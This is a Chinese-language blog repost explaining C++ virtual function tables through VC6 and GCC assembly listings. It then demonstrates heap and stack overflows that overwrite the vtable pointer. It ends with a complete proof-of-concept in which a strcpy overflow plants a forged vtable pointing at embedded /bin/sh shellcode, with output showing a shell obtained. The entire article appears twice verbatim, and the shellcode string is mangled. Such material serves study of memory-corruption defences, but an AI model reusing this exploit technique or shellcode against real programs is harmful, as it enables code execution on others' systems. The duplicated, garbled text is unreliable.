C++中通过溢出覆盖虚函数指针列表执行代码
2017-05-15 00:00
435 查看
1. C++中虚函数的静态联编和动态联编
2. VC中对象的空间组织和溢出试验
3. GCC中对象的空间组织和溢出试验
4. 参考
<一> C++中虚函数的静态联编和动态联编
C++中的一大法宝就是虚函数，简单来说就是加virtual要害字定义的函数。
其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的
使用，一个典型的例子就是虚函数是MFC的基石之一。
这里有两个概念需要先解释:=版权所有 软件 下载 学院 版权所有=
静态联编:通俗点来讲就是程序编译时确定调用目标的地址。
动态联编:程序运行阶段确定调用目标的地址。
在C++中通常的函数调用都是静态联编，但假如定义函数时加了virtual要害
字，并且在调用函数时是通过指针或引用调用，那么此时就是采用动态联编。
一个简单例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
int num1;
ClassA(){ num1=0xffff; };
virtual void test1(void){};
virtual void test2(void){};
};
ClassA objA,* pobjA;
int main(void)
{
pobjA=&objA;
objA.test1();
objA.test2();
pobjA->test1();
pobjA->test2();
return 0;
}
使用VC编译：
开一个命令行直接在命令行调用cl来编译: (假如你安装vc时没有选择注册环境
变量，那么先在命令行运行VC目录下binVCVARS32.BAT )
cl test.cpp /Fa
产生test.asm中间汇编代码
接下来就看看asm里有什么玄虚，分析起来有点长，要有耐心 !
我们来看看:
数据定义:
_BSS SEGMENT
?objA@@3VClassA@
@A DQ 01H DUP (?) ;objA 64位
?pobjA@@3PAVClassA@
@A DD 01H DUP (?) ;pobjA 一个地址32位
_BSS ENDS
看到objA为64位，里边存放了哪些内容呢? 接着看看构造函数:
_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!
; File test.cpp
; Line 6
push ebp
mov ebp, esp
push ecx
mov DWord PTR _this$[ebp], ecx ; ecx 赋值给 _this ?? 不明白??
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
; 前面的部分都是编译器加的东东，我们的赋值在这里
mov ecx, DWORD PTR _this$[ebp]
mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;
; 看来 _this+4就是num1的地址
mov eax, DWORD PTR _this$[ebp]
mov esp, ebp
pop ebp
ret 0
??0ClassA@@QAE@XZ ENDP
那个_this和mov DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧，不急看看何
处调用的构造函数:
_$E9 PROC NEAR
; File test.cpp
; Line 10
push ebp
mov ebp, esp
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()
pop ebp
ret 0
_$E9 ENDP
看，ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址，其实CLASS中
的非静态方法编译器编译时都会自动添加一个this变量，并且在函数开始处把ecx
赋值给他,指向调用该方法的对象的地址 。
那么构造函数里的这两行又是干什么呢?
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA
接着就相当于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@
来看看 ??_7ClassA@@6B@ 是哪个道上混的:
CONST SEGMENT
??_7ClassA@@6B@
DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'
DD FLAT:?test2@ClassA@@UAEXXZ
CONST ENDS
看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
就是在对象的起始地址填入这么一个地址列表的地址。
好了，至此我们已经看到了objA的构造了:
| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1 | num1变量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |
+--------+ ---> objA的结束地址 +--->+--------------+ 地址表 vftable
| 高地址 | |test1()的地址 |
+--------------+
|test2()的地址 |
+--------------+
来看看main函数:
_main PROC NEAR
; Line 13
push ebp
mov ebp, esp
; Line 14
mov DWORD PTR ?pobjA@@3PAVClassA@@A,
OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA
; Line 15
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指针
; 指向调用者的地址
call ?test1@ClassA@@UAEXXZ ; objA.test1()
; objA.test1()直接调用，已经确定了地址
; Line 16
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ?test2@ClassA@@UAEXXZ ; objA.test2()
; Line 17
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax] ; edx = vftable
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx] ;
; call vftable[0] 即 pobjA->test1() 看地址是动态查找的 ; )
; Line 18
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax]
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx+4] ; pobjA->test2()
; call vftable[1] 而vftable[1]里存放的是test2()的入口地址
; Line 19
xor eax, eax
; Line 20
pop ebp
ret 0
_main ENDP
好了，相信到这里你已经对动态联编有了深刻印象。
<二> VC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验
通过上面的分析我们可以对对象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织概括如下:
| 低地址 |
+----------+ ---> objA的起始地址 &objA
|pvftable |--------------------->+
+----------+ |
|各成员变量| |
+----------+ ---> objA的结束地址 +---> +--------------+ 地址表 vftable
| 高地址 | |虚函数1的地址 |
+--------------+
|虚函数2的地址 |
+--------------+
| . . . . . . |
可以看出假如我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
我们能改变程序流程!
现在来作一个溢出试验:
先写个程序来看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;
int main(void)
{
cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
return 0;
}
用cl编译运行结果为:
0x00408998:0x00408990:0x00408991:0x00408994
编译器把buff的地址放到后面了!
把程序改一改,定义变量时换成:
ClassEx obj1,obj2,* pobj;
int buff[1];
结果还是一样!! 不会是vc就是防着这一手吧!
看来想覆盖不轻易呀 ; )
只能通过obj1 溢出覆盖obj2了
//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
cout << "Why a u here ?!" << endl;
};
ClassEx obj1,obj2,* pobj;
int main(void)
{
pobj=&obj2;
obj2.test();
int vtab[1] = { (int) entry };//构造vtab，
//entry的入口地址
obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域
//这里修改了函数指针列表的地址到vtab
pobj->test();
return 0;
}
编译 cl ex_vc.cpp
运行结果:
ClassEx::test()
Why a u here ?!
测试环境: VC6
看我们修改了程序执行流程 ^_^
平时我们编程时可能用virtaul不多，但假如我们使用BC/VC等，且使用了厂商提供的
库，其实我们已经大量使用了虚函数 ,以后写程序可要小心了，一个不留神的变量
赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的，里边会不会 ....
<三> GCC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验
刚才我们已经分析完vc下的许多细节了，那么我们接下来看看gcc里有没有什么不
一样!分析方法一样，就是写个test.cpp用gcc -S test.cpp 来编译得到汇编文件
test.s 然后分析test.s我们就能得到许多细节上的东西。
通过分析我们可以看到:
gcc中对象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>结构如下:
| 低地址 |
+---------------+ 对象的开始地址
| |
| 成员变量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |
| |
+---------------+
| pvftable |----------->+------------------+ vftable
+---------------+ | 0 |
| 高地址 | +------------------+
| XXXXXXXX |
+------------------+
| 0 |
+----------------- +
| 虚函数1入口地址 |
+------------------+
| 0 |
+----------------- +
| 虚函数2入口地址 |
+------------------+
| . . . . . . |
哈哈，可以看到gcc下有个非常大的优势，就是成员变量在pvftable
前面，要是溢出成员变量赋值就能覆盖pvftable，比vc下方便多了!
来写个溢出测试程序:
//test.cpp
#include<iostream.h>
class ClassTest
{
public:
long buff[1]; //大小为1
virtual void test(void)
{
cout << "ClassTest test()" << endl;
}
};
void entry(void)
{
cout << "Why are u here ?!" << endl;
}
int main(void)
{
ClassTest a,*p =&a;
long addr[] = {0,0,0,(long)entry}; //构建的虚函数表
//test() -> entry()
a.buff[1] = ( long ) addr;// 溢出，操作了虚函数列表指针
a.test(); //静态联编的，不会有事
p->test(); //动态联编的，到我们的函数表去找地址，
// 结果就变成了调用函数 entry()
}
编译: gcc test.cpp -lstdc++
执行结果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!
测试程序说明:
具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:
.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
.p2align 2
.type _vt$9ClassTest,@object
.size _vt$9ClassTest,24
_vt$9ClassTest:
.value 0
.value 0
.long __tf9ClassTest
.value 0
.value 0
.long test__9ClassTest ----------+
.zero 8 |
.comm __ti9ClassTest,8,4 |
|
|
test()的地址 <----+
这就是其虚函数列表里的内容了。
test()地址在第3个(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>
所以我们构造addr[]时:
long addr[] = {0,0,0,(long)entry};
就覆盖了test()函数的地址 为 entry()的地址
p->test()
时就跑到我们构建的地址表里取了entry的地址去运行了
测试环境 FreeBSD 4.4
gcc 2.95.3
来一个真实一点的测试:
通过溢出覆盖pvftable，时期指向一个我们自己构造的
vftable,并且让vftable的虚函数地址指向我们的一段shellcode
从而得到一个shell。
#include<iostream.h>
#include<stdio.h>
class ClassBase //定义一个基础类
{
public:
char buff[128];
void setBuffer(char * s)
{
strcpy(buff,s);
};
virtual void printBuffer(void){}; //虚函数
};
class ClassA :public ClassBase
{
public:
void printBuffer(void)
{
cout << "Name :" << buff << endl;
};
};
class ClassB : public ClassBase
{
public:
void printBuffer(void)
{
cout << "The text : " << buff << endl;
};
};
char buffer[512],*pc;
long * pl = (long *) buffer;
long addr = 0xbfbffabc; // 在我的机器上就是 &b ^_*
char shellcode[]="1xc0Ph//shh/binT[PPSS4;xcdx80";
int i;
int main(void)
{
ClassA a;
ClassB b;
ClassBase * classBuff[2] = { &a,&b };
a.setBuffer("Tom");
b.setBuffer("Hello ! This is world of c++ .");
for(i=0;i<2;i++) //C++中的惯用手法，
//一个基础类的指针指向上层类对象时调
//用的为高层类的虚函数
classBuff[i]->printBuffer(); // 这里是正常用法
cout << &a << " : " << &b << endl; // &b就是上面addr的值，
//假如你的机器上两个值不同就改一改addr值吧!
//构造一个非凡的buff呆会给b.setBuffer
// 在开始处构造一个vftable
pl[0]=0xAAAAAAAA; //填充1
pl[1]=0xAAAAAAAA; //填充2
pl[2]=0xAAAAAAAA; //填充3
pl[3]=addr+16; //虚函数printBuffer入口地址
// 的位置指向shell代码处了
pc = buffer+16;
strcpy(pc,shellcode);
pc+=strlen(shellcode);
for(;pc - buffer < 128 ; *pc++='A'); //填充
pl=(long *) pc;
*pl= addr; //覆盖pvftable使其指向我们构造的列表
b.setBuffer(buffer); //溢出了吧 .
// 再来一次
for(i=0;i<2;i++)
classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
// 时一个shell就出来了
return 0;
}
bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$ <------ 呵呵，成功了
说明:
addr = &b 也就是 &b.buff[0]
b.setBuffer(buffer)
就是让 b.buff溢出，覆盖128+4+1个地址。
此时内存中的构造如下:
&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | ]
____ ^ ___
| | |
| | |
| +---+ | |
| | |
+---------------> 128 <--------------+ |
|
此处即pvftable项 ,被溢出覆盖为 addr <---+
现在b.buff[0]的开始处就构建了一个我们自己的虚
函数表，虚函数的入口地址为shellcode的地址 !
本文只是一个引导性文字，还有许多没
有提到的细节，需要自己去分析。
俗话说自己动手丰衣足食 *_&
<四> 参考
Phrack56# << SMASHING C++ VPTRS >>
2. VC中对象的空间组织和溢出试验
3. GCC中对象的空间组织和溢出试验
4. 参考
<一> C++中虚函数的静态联编和动态联编
C++中的一大法宝就是虚函数，简单来说就是加virtual要害字定义的函数。
其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的
使用，一个典型的例子就是虚函数是MFC的基石之一。
这里有两个概念需要先解释:=版权所有 软件 下载 学院 版权所有=
静态联编:通俗点来讲就是程序编译时确定调用目标的地址。
动态联编:程序运行阶段确定调用目标的地址。
在C++中通常的函数调用都是静态联编，但假如定义函数时加了virtual要害
字，并且在调用函数时是通过指针或引用调用，那么此时就是采用动态联编。
一个简单例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
int num1;
ClassA(){ num1=0xffff; };
virtual void test1(void){};
virtual void test2(void){};
};
ClassA objA,* pobjA;
int main(void)
{
pobjA=&objA;
objA.test1();
objA.test2();
pobjA->test1();
pobjA->test2();
return 0;
}
使用VC编译：
开一个命令行直接在命令行调用cl来编译: (假如你安装vc时没有选择注册环境
变量，那么先在命令行运行VC目录下binVCVARS32.BAT )
cl test.cpp /Fa
产生test.asm中间汇编代码
接下来就看看asm里有什么玄虚，分析起来有点长，要有耐心 !
我们来看看:
数据定义:
_BSS SEGMENT
?objA@@3VClassA@
@A DQ 01H DUP (?) ;objA 64位
?pobjA@@3PAVClassA@
@A DD 01H DUP (?) ;pobjA 一个地址32位
_BSS ENDS
看到objA为64位，里边存放了哪些内容呢? 接着看看构造函数:
_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!
; File test.cpp
; Line 6
push ebp
mov ebp, esp
push ecx
mov DWord PTR _this$[ebp], ecx ; ecx 赋值给 _this ?? 不明白??
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
; 前面的部分都是编译器加的东东，我们的赋值在这里
mov ecx, DWORD PTR _this$[ebp]
mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;
; 看来 _this+4就是num1的地址
mov eax, DWORD PTR _this$[ebp]
mov esp, ebp
pop ebp
ret 0
??0ClassA@@QAE@XZ ENDP
那个_this和mov DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧，不急看看何
处调用的构造函数:
_$E9 PROC NEAR
; File test.cpp
; Line 10
push ebp
mov ebp, esp
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()
pop ebp
ret 0
_$E9 ENDP
看，ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址，其实CLASS中
的非静态方法编译器编译时都会自动添加一个this变量，并且在函数开始处把ecx
赋值给他,指向调用该方法的对象的地址 。
那么构造函数里的这两行又是干什么呢?
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA
接着就相当于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@
来看看 ??_7ClassA@@6B@ 是哪个道上混的:
CONST SEGMENT
??_7ClassA@@6B@
DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'
DD FLAT:?test2@ClassA@@UAEXXZ
CONST ENDS
看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
就是在对象的起始地址填入这么一个地址列表的地址。
好了，至此我们已经看到了objA的构造了:
| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1 | num1变量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |
+--------+ ---> objA的结束地址 +--->+--------------+ 地址表 vftable
| 高地址 | |test1()的地址 |
+--------------+
|test2()的地址 |
+--------------+
来看看main函数:
_main PROC NEAR
; Line 13
push ebp
mov ebp, esp
; Line 14
mov DWORD PTR ?pobjA@@3PAVClassA@@A,
OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA
; Line 15
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指针
; 指向调用者的地址
call ?test1@ClassA@@UAEXXZ ; objA.test1()
; objA.test1()直接调用，已经确定了地址
; Line 16
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ?test2@ClassA@@UAEXXZ ; objA.test2()
; Line 17
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax] ; edx = vftable
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx] ;
; call vftable[0] 即 pobjA->test1() 看地址是动态查找的 ; )
; Line 18
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax]
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx+4] ; pobjA->test2()
; call vftable[1] 而vftable[1]里存放的是test2()的入口地址
; Line 19
xor eax, eax
; Line 20
pop ebp
ret 0
_main ENDP
好了，相信到这里你已经对动态联编有了深刻印象。
<二> VC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验
通过上面的分析我们可以对对象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织概括如下:
| 低地址 |
+----------+ ---> objA的起始地址 &objA
|pvftable |--------------------->+
+----------+ |
|各成员变量| |
+----------+ ---> objA的结束地址 +---> +--------------+ 地址表 vftable
| 高地址 | |虚函数1的地址 |
+--------------+
|虚函数2的地址 |
+--------------+
| . . . . . . |
可以看出假如我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
我们能改变程序流程!
现在来作一个溢出试验:
先写个程序来看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;
int main(void)
{
cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
return 0;
}
用cl编译运行结果为:
0x00408998:0x00408990:0x00408991:0x00408994
编译器把buff的地址放到后面了!
把程序改一改,定义变量时换成:
ClassEx obj1,obj2,* pobj;
int buff[1];
结果还是一样!! 不会是vc就是防着这一手吧!
看来想覆盖不轻易呀 ; )
只能通过obj1 溢出覆盖obj2了
//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
cout << "Why a u here ?!" << endl;
};
ClassEx obj1,obj2,* pobj;
int main(void)
{
pobj=&obj2;
obj2.test();
int vtab[1] = { (int) entry };//构造vtab，
//entry的入口地址
obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域
//这里修改了函数指针列表的地址到vtab
pobj->test();
return 0;
}
编译 cl ex_vc.cpp
运行结果:
ClassEx::test()
Why a u here ?!
测试环境: VC6
看我们修改了程序执行流程 ^_^
平时我们编程时可能用virtaul不多，但假如我们使用BC/VC等，且使用了厂商提供的
库，其实我们已经大量使用了虚函数 ,以后写程序可要小心了，一个不留神的变量
赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的，里边会不会 ....
<三> GCC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验
刚才我们已经分析完vc下的许多细节了，那么我们接下来看看gcc里有没有什么不
一样!分析方法一样，就是写个test.cpp用gcc -S test.cpp 来编译得到汇编文件
test.s 然后分析test.s我们就能得到许多细节上的东西。
通过分析我们可以看到:
gcc中对象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>结构如下:
| 低地址 |
+---------------+ 对象的开始地址
| |
| 成员变量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |
| |
+---------------+
| pvftable |----------->+------------------+ vftable
+---------------+ | 0 |
| 高地址 | +------------------+
| XXXXXXXX |
+------------------+
| 0 |
+----------------- +
| 虚函数1入口地址 |
+------------------+
| 0 |
+----------------- +
| 虚函数2入口地址 |
+------------------+
| . . . . . . |
哈哈，可以看到gcc下有个非常大的优势，就是成员变量在pvftable
前面，要是溢出成员变量赋值就能覆盖pvftable，比vc下方便多了!
来写个溢出测试程序:
//test.cpp
#include<iostream.h>
class ClassTest
{
public:
long buff[1]; //大小为1
virtual void test(void)
{
cout << "ClassTest test()" << endl;
}
};
void entry(void)
{
cout << "Why are u here ?!" << endl;
}
int main(void)
{
ClassTest a,*p =&a;
long addr[] = {0,0,0,(long)entry}; //构建的虚函数表
//test() -> entry()
a.buff[1] = ( long ) addr;// 溢出，操作了虚函数列表指针
a.test(); //静态联编的，不会有事
p->test(); //动态联编的，到我们的函数表去找地址，
// 结果就变成了调用函数 entry()
}
编译: gcc test.cpp -lstdc++
执行结果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!
测试程序说明:
具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:
.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
.p2align 2
.type _vt$9ClassTest,@object
.size _vt$9ClassTest,24
_vt$9ClassTest:
.value 0
.value 0
.long __tf9ClassTest
.value 0
.value 0
.long test__9ClassTest ----------+
.zero 8 |
.comm __ti9ClassTest,8,4 |
|
|
test()的地址 <----+
这就是其虚函数列表里的内容了。
test()地址在第3个(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>
所以我们构造addr[]时:
long addr[] = {0,0,0,(long)entry};
就覆盖了test()函数的地址 为 entry()的地址
p->test()
时就跑到我们构建的地址表里取了entry的地址去运行了
测试环境 FreeBSD 4.4
gcc 2.95.3
来一个真实一点的测试:
通过溢出覆盖pvftable，时期指向一个我们自己构造的
vftable,并且让vftable的虚函数地址指向我们的一段shellcode
从而得到一个shell。
#include<iostream.h>
#include<stdio.h>
class ClassBase //定义一个基础类
{
public:
char buff[128];
void setBuffer(char * s)
{
strcpy(buff,s);
};
virtual void printBuffer(void){}; //虚函数
};
class ClassA :public ClassBase
{
public:
void printBuffer(void)
{
cout << "Name :" << buff << endl;
};
};
class ClassB : public ClassBase
{
public:
void printBuffer(void)
{
cout << "The text : " << buff << endl;
};
};
char buffer[512],*pc;
long * pl = (long *) buffer;
long addr = 0xbfbffabc; // 在我的机器上就是 &b ^_*
char shellcode[]="1xc0Ph//shh/binT[PPSS4;xcdx80";
int i;
int main(void)
{
ClassA a;
ClassB b;
ClassBase * classBuff[2] = { &a,&b };
a.setBuffer("Tom");
b.setBuffer("Hello ! This is world of c++ .");
for(i=0;i<2;i++) //C++中的惯用手法，
//一个基础类的指针指向上层类对象时调
//用的为高层类的虚函数
classBuff[i]->printBuffer(); // 这里是正常用法
cout << &a << " : " << &b << endl; // &b就是上面addr的值，
//假如你的机器上两个值不同就改一改addr值吧!
//构造一个非凡的buff呆会给b.setBuffer
// 在开始处构造一个vftable
pl[0]=0xAAAAAAAA; //填充1
pl[1]=0xAAAAAAAA; //填充2
pl[2]=0xAAAAAAAA; //填充3
pl[3]=addr+16; //虚函数printBuffer入口地址
// 的位置指向shell代码处了
pc = buffer+16;
strcpy(pc,shellcode);
pc+=strlen(shellcode);
for(;pc - buffer < 128 ; *pc++='A'); //填充
pl=(long *) pc;
*pl= addr; //覆盖pvftable使其指向我们构造的列表
b.setBuffer(buffer); //溢出了吧 .
// 再来一次
for(i=0;i<2;i++)
classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
// 时一个shell就出来了
return 0;
}
bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$ <------ 呵呵，成功了
说明:
addr = &b 也就是 &b.buff[0]
b.setBuffer(buffer)
就是让 b.buff溢出，覆盖128+4+1个地址。
此时内存中的构造如下:
&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | ]
____ ^ ___
| | |
| | |
| +---+ | |
| | |
+---------------> 128 <--------------+ |
|
此处即pvftable项 ,被溢出覆盖为 addr <---+
现在b.buff[0]的开始处就构建了一个我们自己的虚
函数表，虚函数的入口地址为shellcode的地址 !
本文只是一个引导性文字，还有许多没
有提到的细节，需要自己去分析。
俗话说自己动手丰衣足食 *_&
<四> 参考
Phrack56# << SMASHING C++ VPTRS >>
内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 
相关文章推荐
- 【分析】C++中通过溢出覆盖虚函数指针列表执行代码
- C++中通过溢出覆盖虚函数指针列表执行代码
- ◆ C++中通过溢出覆盖虚函数指针列表执行代码
- ◆ C++中通过溢出覆盖虚函数指针列表执行代码
- C++中通过溢出覆盖虚函数指针列表执行代码
- C++中通过溢出覆盖虚函数指针列表执行代码
- c++中如何通过函数参数对指针进行赋值
- c++虚表的使用 通过虚表调用虚函数的演示代码
- C++中vritual虚函数漏洞，通过指针（利用虚表,调用函数）任然可以访问到基类中虚函数。
- C++中通过派生类调用第二基类的普通成员函数时this指针的调整
- 浅析C++中的this指针 通过空指针（NULL）可以正确调用一些类的成员函数？
- C++通过基类指针delete派生类数组，析构函数是虚函数，程序为什么会崩溃？ https://www.zhihu.com/question/30838092/answer/49623765
- C/C++/mfc/vc++中怎样通过代码让你做的应用程序以管理员的身份安装执行
- C++中通过指针,引用方式做返回值的汇编代码分析
- 通过FFMPEG代码学习函数指针和指针函数
- 网页爬虫的最简C/C++程序代码示例------先通过列表获取所有博文id, 然后遍历所有博文id
- C++知识点随笔(七)：成员函数指针、模拟虚函数列表
- c++沉思录笔记（21章代码）通过函数对象解决c++的函数嵌套问题
- c++中如何通过函数参数对指针进行赋值
- [转] 通过汇编代码理解成员函数指针并不是指针